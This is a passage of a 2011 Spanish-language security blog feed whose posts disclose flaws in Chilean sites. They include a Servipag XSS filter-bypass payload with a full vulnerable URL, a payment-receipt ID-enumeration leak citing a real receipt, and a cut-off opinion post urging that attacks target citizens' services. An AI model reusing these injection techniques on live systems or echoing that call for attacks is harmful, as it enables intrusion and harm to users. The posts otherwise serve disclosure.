<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb5.png"><img class="aligncenter size-full wp-image-2718" title="captcha_fb5" src="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb5.png" alt="" width="586" height="507" /></a></p>
<p>Ahora ya sabemos que el captcha de Facebook es de juguete y que podemos saltarlo simplemente con un &#8220;enter&#8221;. Solo bastan unos minutos para programar un pequeño script que se dedique a recolectar información de los usuarios.</p>
<p>¿Será otra caracteristica de facebook o será otra violación a la privacidad de sus usuarios? Claramente esto se trata de un bug, ya que de lo contrario no se molestarían en pedir un captcha.</p>
<p>Ironicamente, cuando vemos el link &#8220;¿Que es esto?&#8221; al lado del captcha, Facebook nos muestra la siguiente información:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb6.png"><img class="aligncenter size-full wp-image-2721" title="captcha_fb6" src="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb6.png" alt="" width="498" height="192" /></a></p>
<p>Otra más de facebook.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Finteres-general%2Fel-captcha-de-facebook-es-una-farsa-no-sirve-y-esta-de-adorno%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/interes-general/el-captcha-de-facebook-es-una-farsa-no-sirve-y-esta-de-adorno/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/interes-general/el-captcha-de-facebook-es-una-farsa-no-sirve-y-esta-de-adorno/"  data-text="El captcha de Facebook es una farsa, no sirve y está de adorno!" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/interes-general/el-captcha-de-facebook-es-una-farsa-no-sirve-y-esta-de-adorno/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Seguridad versus Usabilidad: El caso del banco Santander</title>
		<link>http://blog.zerial.org/seguridad/seguridad-versus-usabilidad-el-caso-del-banco-santander/</link>
		<comments>http://blog.zerial.org/seguridad/seguridad-versus-usabilidad-el-caso-del-banco-santander/#comments</comments>
		<pubDate>Tue, 20 Sep 2011 18:04:32 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[santander]]></category>
		<category><![CDATA[usabilidad]]></category>
		<category><![CDATA[vulnerabilidades]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2697</guid>
		<description><![CDATA[Con el fin de mejorar la interacción del usuario con algun sistema, los diseñadores y desarrolladores adoptan distintas técnicas de usabilidad para hacerle el trabajo más fácil al usuario, el problema es cuando se prioriza la usabilidad por sobre la seguridad. Para muchos podría parecer que la gente que desarrolla los sistemas piensan que los [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/nino_pc.jpg"><img class="aligncenter size-full wp-image-2698" title="nino_pc" src="http://blog.zerial.org/wp-content/uploads/2011/09/nino_pc.jpg" alt="" width="500" height="375" /></a></p>
<p>Con el fin de mejorar la interacción del usuario con algun sistema, los diseñadores y desarrolladores adoptan distintas técnicas de usabilidad para hacerle el trabajo más fácil al usuario, el problema es cuando se prioriza <strong>la usabilidad por sobre la seguridad</strong>. Para muchos podría parecer que la gente que desarrolla los sistemas piensan que los usuarios son <span style="text-decoration: line-through;">unos tontos</span> unos niños ingenuos, y que por no hacerlos pensar &#8220;donde hacer click&#8221; le dan todo en bandeja pasando por alto las normas de seguridad. Es por esto que escribiré sobre como la usabilidad pasa por encima de la seguridad.</p>
<p>Como ejemplo, tomaré el caso del Banco Santander y analizaré como una función para hacerle el trabajo más fácil al usuario puede atentar contra la seguridad del mismo usuario. Para muchos podría ser algo básico, pero si lo ven como si fueran un usuario &#8220;<em>normal</em>&#8220;, se darán cuenta que realmente es un riesgo y que al usuario le podría pasar perfectamente.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/santander_login.png"><img class="aligncenter size-full wp-image-2700" title="santander_login" src="http://blog.zerial.org/wp-content/uploads/2011/09/santander_login.png" alt="" width="196" height="215" /></a>Esta es la pantalla de inicio de sesión que vemos al ingresar a www.santander.cl.</p>
<p><span id="more-2697"></span></p>
<p>Lo normal sería que al ingresar al portal del banco, el usuario hiciera click en el campo &#8220;rut&#8221; para ingresar su número de identificación, luego ingresara el password y finalmente presione enviar. Pero, <strong>¿cual es la mejora de usabilidad que implementó Santander?</strong></p>
<p>Cuando ingresamos al sitio web, el usuario sin situarse sobre el formulario de inicio de sesión, el cursor ya está en el formulario, el usuario lo único que debe hacer es ingresar su rut.</p>
<p>El problema es que esa función donde se situa el cursor sobre el formulario se ejecuta al terminar de cargar el sitio, si el usuario ingresa su número de identidad y luego comienza a escribir el password, cuando el sitio termine de cargar el puntero será cambiado al campo &#8220;rut&#8221;, que no está protegido por &#8220;*&#8221; y queda registrado en el historial, cuando el usuario sin darse cuenta presione &#8220;Iniciar sesión&#8221;, el sistema le enviará un mensaje de que la password o usuario son incorrectos, lo único que hará el usuario es volver a introducir los valores e iniciar sesión sin problemas, sin darse cuenta que su password pudo haber sido almacenada en el historial.</p>
<p>Es un poco rebuscado el problema, pero existe. Me ha pasado que mi internet va lento o que el servidor del banco responde lentísimo, entonces ingreso al portal y hago todo muy rapido, ingreso mi RUT y cuando presiono enviar me doi cuenta que la password la escribí en el campo desprotegido &#8220;rut&#8221;.</p>
<p><strong>¿Qué es mejor, que el usuario tenga que mover un poco el mouse y hacer un par de clicks más, o dejar abierta la remota posibilidad que su password quede almacenada en un historial sin percatarse?</strong></p>
<p>Yo creo que 1 de cada 100 personas podría caer en este error, yo mismo he leído y escuchado a algunas personas quejarse por esto mismo, al menos se que no soy el único que lo piensa <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fseguridad-versus-usabilidad-el-caso-del-banco-santander%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/seguridad-versus-usabilidad-el-caso-del-banco-santander/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/seguridad-versus-usabilidad-el-caso-del-banco-santander/"  data-text="Seguridad versus Usabilidad: El caso del banco Santander" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/seguridad-versus-usabilidad-el-caso-del-banco-santander/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Servipag: Nuevamente vulnerable a Cross-Site Scripting</title>
		<link>http://blog.zerial.org/seguridad/servipag-nuevamente-vulnerable-a-cross-site-scripting/</link>
		<comments>http://blog.zerial.org/seguridad/servipag-nuevamente-vulnerable-a-cross-site-scripting/#comments</comments>
		<pubDate>Mon, 12 Sep 2011 13:01:32 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[servipag]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2653</guid>
		<description><![CDATA[Así es, el portal chileno de pagos en línea más seguro nuevamente es vulnerable a XSS. Esta vez se trata de la página de registro de usuarios, modificando el valor de la variable &#8220;Rut&#8221; es posible inyectar código javascript y poner en riesgo al usuario. El sitio web de Servipag se ha caracterizado ultimamente por [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssept.png"><img class="aligncenter size-full wp-image-2657" title="servipag_xsssept" src="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssept.png" alt="" width="482" height="393" /></a></p>
<p>Así es, el <strong>portal chileno de pagos en línea más seguro</strong> nuevamente es vulnerable a XSS. Esta vez se trata de la página de registro de usuarios, modificando el valor de la variable &#8220;Rut&#8221; es posible inyectar código javascript y poner en riesgo al usuario.</p>
<p>El sitio web de Servipag se ha caracterizado ultimamente por tener una serie de vulnerabilidades criticas que afectan al servidor donde se encuentra el sitio web y tambien a los usuarios, poniendo en riesgo información sensible sobre sus clientes. Según una declaración de Servipag mediante su twitter, los &#8220;XSS visual&#8221; no afectan al usuario:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/xss_visual.png"><img class="aligncenter size-full wp-image-2654" title="xss_visual" src="http://blog.zerial.org/wp-content/uploads/2011/09/xss_visual.png" alt="" width="515" height="339" /></a></p>
<p>Como a ellos no les preocupan los XSS, publicaré con detalles la vulnerabilidad.</p>
<p><span id="more-2653"></span></p>
<p>La vulnerabilidad se encuentra especificamente en la URL <strong>http://www.servipag.com/browse.asp?pagina=web/registro1.htm</strong>. El sitio autocompleta el campo &#8220;rut&#8221; según el valor pasado por GET mediante la variable &#8220;Rut&#8221;, por ejemplo, si ingresamos a <strong>http://www.servipag.com/browse.asp?pagina=web/registro1.htm&amp;Rut=1313&amp;BuscaDatos=2</strong> veremos que nos completa el rut de la siguiente forma</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_1313.png"><img class="aligncenter size-full wp-image-2656" title="servipag_1313" src="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_1313.png" alt="" width="254" height="83" /></a></p>
<p>Y si vemos el código fuente, nos muestra:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssrc.png"><img class="aligncenter size-full wp-image-2659" title="servipag_xsssrc" src="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssrc.png" alt="" width="260" height="99" /></a>Por lo tanto, si en lugar de &#8220;Rut=1313&#8243; pusieramos una rutina javascript, debería ejecutarse al momento de llamar a la función &#8220;Reset()&#8221;, sin embargo, el desarrollador de servipag puso un <span style="text-decoration: line-through;">estúpido</span> inutil filtro que es <strong>demasiado</strong> fácil saltarse. Lo que haremos es terminar la función y hacer que se ejecute el código que nosotros queramos al momento de cargar la página, para esto añadimos &#8216;; al principio del valor que le daremos a Rut y comentaremos todo lo que venga despues de nuestra inyección, para lograr que se ejecute sin errores el javascript.</p>
<p>La sintáxis que usaremos para explotar la vulnerabilidad será <strong>1212&#8242;;}/**/window.stop();confirm(/Servipag_XSS_10_de_Septiembre_19:24?/);/*</strong> la cual nos generará un código fuente similar a:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssrc2.png"><img class="aligncenter size-full wp-image-2660" title="servipag_xsssrc2" src="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssrc2.png" alt="" width="654" height="89" /></a></p>
<p>Provocando el XSS que estabamos buscando. De esta forma es posible burlar los filtros puestos por los desarrolladores del portal de pagos más seguro (ironía), pudiendo redireccionar al usuario a un sitio malicioso, robar las cookies, etc.</p>
<p>Finalmente, la URL vulnerable es <a href="http://www.servipag.com/browse.asp?pagina=web/registro1.htm&amp;Rut=1212';}/**/window.stop();confirm(/Servipag_XSS?/);/*='&amp;BuscaDatos=2" target="_blank"><strong>http://www.servipag.com/browse.asp?pagina=web/registro1.htm&amp;Rut=1212&#8242;;}/**/window.stop();confirm(/Servipag_XSS?/);/*=&#8217;&amp;BuscaDatos=2</strong></a>.</p>
<p><strong>ACTUALIZADO (12 DE SEPT 14:08hrs)</strong></p>
<p>Como es de costumbre con esta gente de Servipag, el problema ha sido solucionado minutos luego de haberlo publicado, sin embargo, no son capaces de responder los correos donde se envian reportes de estas vulnerabilidades.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fservipag-nuevamente-vulnerable-a-cross-site-scripting%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/servipag-nuevamente-vulnerable-a-cross-site-scripting/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/servipag-nuevamente-vulnerable-a-cross-site-scripting/"  data-text="Servipag: Nuevamente vulnerable a Cross-Site Scripting" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/servipag-nuevamente-vulnerable-a-cross-site-scripting/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Mini-Post: Acceso directo a archivos de descarga</title>
		<link>http://blog.zerial.org/seguridad/mini-post-acceso-directo-a-archivos-de-descarga/</link>
		<comments>http://blog.zerial.org/seguridad/mini-post-acceso-directo-a-archivos-de-descarga/#comments</comments>
		<pubDate>Sun, 11 Sep 2011 01:36:22 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[desarrollo seguro]]></category>
		<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[programacion segura]]></category>
		<category><![CDATA[Tips]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2483</guid>
		<description><![CDATA[Una forma de hacer un bypass a los sistemas de autenticación es poder acceder a archivos &#8220;sensibles&#8221; que sólo un usuario con autorización debería poder ver. Existen muchos sitios que tienen panel de administración pero no protegen los directorios donde se encuentran los archivos, por ejemplo, imaginemos que el usuario &#8220;admin&#8221; subió un archivo con [...]]]></description>
			<content:encoded><![CDATA[<p>Una forma de hacer un bypass a los sistemas de autenticación es poder acceder a archivos &#8220;sensibles&#8221; que sólo un usuario con autorización debería poder ver. Existen muchos sitios que tienen panel de administración pero no protegen los directorios donde se encuentran los archivos, por ejemplo, imaginemos que el usuario &#8220;admin&#8221; subió un archivo con datos de acceso a un servidor y en el sistema configuró que sólo algunos usuarios puedan verlo, sin embargo, cualquier persona que se sepa la URL puede acceder a el &#8230; Aunque suene bastante simple e incluso estúpido, es lamentable que existan sistemas o sitios web que lo permiten.</p>
<p>Por lo general, esto sucede cuando no existe una capa intermedia entre el archivo y el sistema, sino que se linkea directamente. Algo que debería ser <strong>http://www.dominio.cl/sistema/index.php/descargar/949394</strong> es <strong>http://www.dominio.cl/sistema/admin/archivos/usuarios_y_passwords.docx</strong>, y en el peor de los casos hasta se puede eliminar el nombre del archivo y listar el contenido del directorio &#8220;archivos&#8221; <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Los sistemas web deberían manejar internamente un &#8220;id&#8221; o nombre ficticio del archivo, <em>hasheado</em> y <em>mapeado</em> al momento de subirlo, para no permitir que cualquier usuario pueda acceder. Por ejemplo, si tenemos la URL de prueba dada anteriormente, 949394 correspondería al ID del archivo, el sistema debería -internamente- hacer una consulta a la base de datos y ver a que archivo corresponde ese ID, luego ver quienes tienen permisos para acceder a ese archivo y, luego de verificar la sesión y permisos, permitir la descarga del archivo.<br />
Para evitar la descarga directa de los archivos, el directorio &#8220;uploads&#8221; debería estar fuera del directorio de la aplicación, por ejempo, si el directorio de la aplicación es /var/www/html/sistema1/, el directorio debería estar fuera de &#8220;sistema1&#8243;, sino, aunque hagas todas las validaciones posibles, de todas formas se podrá acceder directamente al archivo saltandose la validación de la aplicación.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fmini-post-acceso-directo-a-archivos-de-descarga%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/mini-post-acceso-directo-a-archivos-de-descarga/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/mini-post-acceso-directo-a-archivos-de-descarga/"  data-text="Mini-Post: Acceso directo a archivos de descarga" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/mini-post-acceso-directo-a-archivos-de-descarga/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Servipag: Continua siendo un portal de pagos inseguro</title>
		<link>http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/</link>
		<comments>http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/#comments</comments>
		<pubDate>Sat, 27 Aug 2011 19:46:19 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[data leak]]></category>
		<category><![CDATA[information leak]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[servipag]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2637</guid>
		<description><![CDATA[Pasa el tiempo y, luego de haber reportado las vulnerabilidades que afectaban a Servipag, siguen apareciendo nuevas vulnerabilidades que afectan al portal de pagos. Esta vez se trata de 2 nuevas vulnerabilidades, una reportada en Secureless, que atenta contra la privacidad de los usuarios, permitiendo que cualquier persona pueda acceder a los comprobantes de pago [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/servipwned.png"><img class="aligncenter size-full wp-image-2520" title="servipwned" src="http://blog.zerial.org/wp-content/uploads/2011/07/servipwned.png" alt="" width="271" height="90" /></a></p>
<p>Pasa el tiempo y, luego de haber reportado <a href="http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/">las vulnerabilidades que afectaban a Servipag</a>, siguen apareciendo nuevas vulnerabilidades que afectan al portal de pagos. Esta vez se trata de 2 nuevas vulnerabilidades, una <a href="http://www.secureless.org/vulnerability/2012/">reportada en Secureless</a>, que atenta contra la privacidad de los usuarios, permitiendo que cualquier persona pueda acceder a los comprobantes de pago de cada cliente, simplemente moficiando una variable en la URL, la segunda se trata de un XSS en el mismo sitio del comprobante de pago.</p>
<p>Servipag continua diciendo que sus politicas y tecnologías de seguridad son en base a altos estandares nacionales e internacionales y segun ellos, las vulnerabilidades que existen no ponen en riesgo la informacion de los usuarios, ya que todo el proceso de compra/pago y transaccion no se hacen directamente en los servidores de ellos &#8230; PERO, sorpresa, ellos guardan un comprobante de pago de forma local, pudiendo acceder a TODOS los comprobantes de pagos de quienes usen el servicio, sean o no usuarios registrados.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/srvpag_comprob1.png"><img class="aligncenter size-full wp-image-2638" title="srvpag_comprob1" src="http://blog.zerial.org/wp-content/uploads/2011/08/srvpag_comprob1.png" alt="" width="572" height="373" /></a></p>
<p><strong>Que tipo de información podemos ver aqui?</strong></p>
<p>1. Se refiere al &#8220;cliente&#8221; como &#8220;Usuario&#8221;, lo mas probable que no esté registrado en servipag, de lo contrario mostraría el nombre.<br />
2. El banco mediante el cual se hace el pago.<br />
3. Empresa o servicio que se paga.<br />
4. Monto, fecha y ID del pago realizado.</p>
<p>Con esta información es posible relacionar a personas con un banco especifico y ademas con el consumo de un servicio, en una fecha especifica. Esta información podría ser útil para enviarle una trampa al usuario, un correo fake (phishing) con datos reales como su nombre, banco al que pertenece, servicios que consume, fechas en las que hace el pago &#8230; en fin, una serie de información que nadie tendría que saber.</p>
<p><span id="more-2637"></span></p>
<p>Si jugamos modificando el Id del comprobante de pago, podemos encontrar datos reales, como es el caso del <strong>68012208</strong>:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/srvpag_comprob2.png"><img class="aligncenter size-full wp-image-2641" title="srvpag_comprob2" src="http://blog.zerial.org/wp-content/uploads/2011/08/srvpag_comprob2.png" alt="" width="563" height="347" /></a>Una persona, cuyo  nombre aparece en el comprobante, que tiene cuenta en el banco estado y es cliente de Movistar.</p>
<p><strong>No es esto poner en riesgo los datos de los usuarios?</strong></p>
<p>La otra vulnerabilidad encontrada, se trata de un XSS que afecta a este mismo sitio donde se muestra el comprobante de pago. Nuevamente, es posible saltarse los filtros -parecen de juguete- que los desarrolladores pusieron, pudiendo inyectar código Javascript o HTML.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/xss_servipag.png"><img class="aligncenter size-full wp-image-2643" title="xss_servipag" src="http://blog.zerial.org/wp-content/uploads/2011/08/xss_servipag.png" alt="" width="572" height="252" /></a></p>
<p><strong>Cual es el potencial riesgo de estas dos vulnerabilidades juntas?</strong></p>
<p>Es simple, solo con un poco de imaginación podemos crear una pagina de pago falsa y usar los datos de los clientes obtenidos desde su comprobante de pagos para enviar un correo malicioso insitando a que el usuario caiga en una trampa, para poder robarle información privada como usuarios, claves, etc.</p>
<p>Nuevamente, <strong>Servipag NO está cumpliendo con entregar un servicio seguro a sus clientes.</strong></p>
<p><strong>ACTUALIZADO</strong> Al parecer Servipag ya solucionó el problema del comprobante, ya que al intentar ver un comprobante de pago muestra un mensaje que la información no está disponible. Esperemos que no sea una solución trucha. El XSS siguen existiendo:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/xss_serv.png"><img class="aligncenter size-full wp-image-2650" title="xss_serv" src="http://blog.zerial.org/wp-content/uploads/2011/08/xss_serv.png" alt="" width="425" height="336" /></a></p>
<p>Las vulnerabilidades fueron reportadas el dia sabado, pero no respondieron .. Intentaron solucionar los problemas silenciosamente, pero solo pudieron solucionar uno.</p>
<p><strong>ACTUALIZADO (6 de Septiembre)</strong><br />
Luego de semanas de haberlo reportado por correo y sin tener respuesta, me decidí a publicar la vulnerabilidad XSS para &#8220;obligarlos&#8221; a corregirla. Luego de publicarla, no pasaron ni 20 minitos y fue solucionada:</p>
<p><a href="http://www.secureless.org/vulnerability/2034/">http://www.secureless.org/vulnerability/2034/</a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fservipag-continua-siendo-un-portal-de-pagos-inseguro%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/"  data-text="Servipag: Continua siendo un portal de pagos inseguro" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Está preparado el gobierno chileno para recibir un ataque de robo de información ?</title>
		<link>http://blog.zerial.org/seguridad/esta-preprado-el-gobierno-chileno-para-recibir-un-ataque-de-robo-de-informacion/</link>
		<comments>http://blog.zerial.org/seguridad/esta-preprado-el-gobierno-chileno-para-recibir-un-ataque-de-robo-de-informacion/#comments</comments>
		<pubDate>Sun, 21 Aug 2011 14:30:24 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[anonymous]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[gobierno]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[seguridad por oscuridad]]></category>
		<category><![CDATA[servicios]]></category>
		<category><![CDATA[servidores]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[vulnerabilidades web]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2474</guid>
		<description><![CDATA[Ultimamente se han puesto de moda los ataques de &#8220;Anonymous&#8221;, ataques como tirar un sitio abajo o saturación de servidores, algo bastante simple que no requiere mucho conocimiento y es por esto que mucha gente se ha sumado. Algunos medios los han llamado &#8216;hackers&#8216; otros &#8216;simples aficionados que se descargan un programa, introducen una URL, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/vvenanon.gif"><img class="alignleft size-thumbnail wp-image-2506" title="vvenanon" src="http://blog.zerial.org/wp-content/uploads/2011/07/vvenanon-150x150.gif" alt="" width="114" height="114" /></a>Ultimamente se han puesto de moda los ataques de &#8220;Anonymous&#8221;, ataques como tirar un sitio abajo o saturación de servidores, algo bastante simple que no requiere mucho conocimiento y es por esto que mucha gente se ha sumado. Algunos medios los han llamado &#8216;<em>hackers</em>&#8216; otros &#8216;<em>simples aficionados que se descargan un programa, introducen una URL, se coordinan y presionan enter</em>&#8216;. Por suerte del gobierno se comparan con los ataques originales de Anonymous o LulzSec. Cuando digo &#8220;originales&#8221; me refiero a esos ataques que han salido a la luz donde divulgan información sobre las cuentas de usuario e información sensible y privada de las empresas, no a unos <strong>wannabe</strong>.</p>
<p>Según mi opinión, un ataque de denegación de servicio a sitios del gobierno no tiene ningun sentido y no hacen daño ni provocan preocupación, creo que los ataques deberian realizarse hacia &#8220;servicios&#8221; y no a &#8220;sitios&#8221;, donde se vean afectados los servicios que los ciudadanos usan y que el gobierno se sienta incapaz de brindarselos. Esto sucede porque no se hace un estudio sobre la víctima, para darle donde más le duele, se puede llamar &#8220;ataque organizado&#8221; porque se acuerdan una hora y todos presionan el botón ese dia a esa hora, pero no hay una real coordinación donde se investigue un objetivo donde realmente llame la atención, y mientras siga siendo así, seguiran siendo ataques simbólicos.</p>
